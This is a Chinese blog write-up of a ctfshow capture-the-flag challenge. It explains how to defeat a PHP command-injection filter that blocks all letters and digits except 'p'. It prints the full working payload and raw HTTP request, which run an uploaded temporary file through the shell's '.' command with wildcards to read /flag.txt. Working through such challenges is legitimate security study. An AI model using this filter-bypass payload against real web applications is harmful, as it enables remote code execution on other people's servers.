[ctfshow]红包题第二弹

红包题第二弹

题目描述

题目解析


打开题目只有一段where is the flag?右键查看源代码,发现提示<!-- hint:?cmd= -->,加上请求参数后重新访问出现代码。

关键点是两个正则表达式,分别为preg_match("/[A-Za-oq-z0-9$]+/",$cmd)preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd),这两个正则将除了p字母以外的所有字母数字和一些特殊符号进行了过滤。然后就直接不会了,参考了其他师傅的解析,记下笔记。
在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。
这里我在本地搭建了一个上传的例子

<html>
<head>
<meta charset="utf-8">
<title>上传文件</title>
</head>
<body>

<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>
<?php
if ($_FILES["file"]["error"] > 0)
{
    echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>

可以看到执行后的临时文件存储路经

思路就是上传文件生成临时文件,将真正想要执行的函数放到临时文件中,然后利用eval函数进行执行临时文件。
然后再看cmd这里有两个过滤,过滤了除p以外的所有字母数字,可用的特殊字符为. ? / 等。在linux中,source命令和.相同,用于从当前shell会话中读取文件和执行命令。
在php中,命令执行方式有:

  • system('ls')
  • echo('ls')
  • echo ls

<?=等价于<?php echo

因为<?=没有被过滤,所以就可以用?><?=来传递命令执行临时文件的内容,构造的语句为?><?=`.+/??p/p?p??????;` ?>为了闭合之前的php语句,后面为执行命令的语句,+在url中表示空格,利用?通配符匹配到/tmp/php**.tmp文件。
最终构造的payload为

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: bcb5cac6-1033-4f9b-89a0-e618dcbfc700.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Content-Length: 230

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat /flag.txt
-----------------------------10242300956292313528205888--

参考链接
ctfshow 红包题第二弹(无数字字母无~^rce)
[ctf.show]红包题第二弹
https://www.php.net/manual/en/language.basic-syntax.phptags.php
php临时文件
Linux中source命令的使用方式
无字母数字webshell之提高篇 | 离别歌

posted @ 2022-06-28 20:40  alm0st  阅读(1572)  评论(0编辑  收藏  举报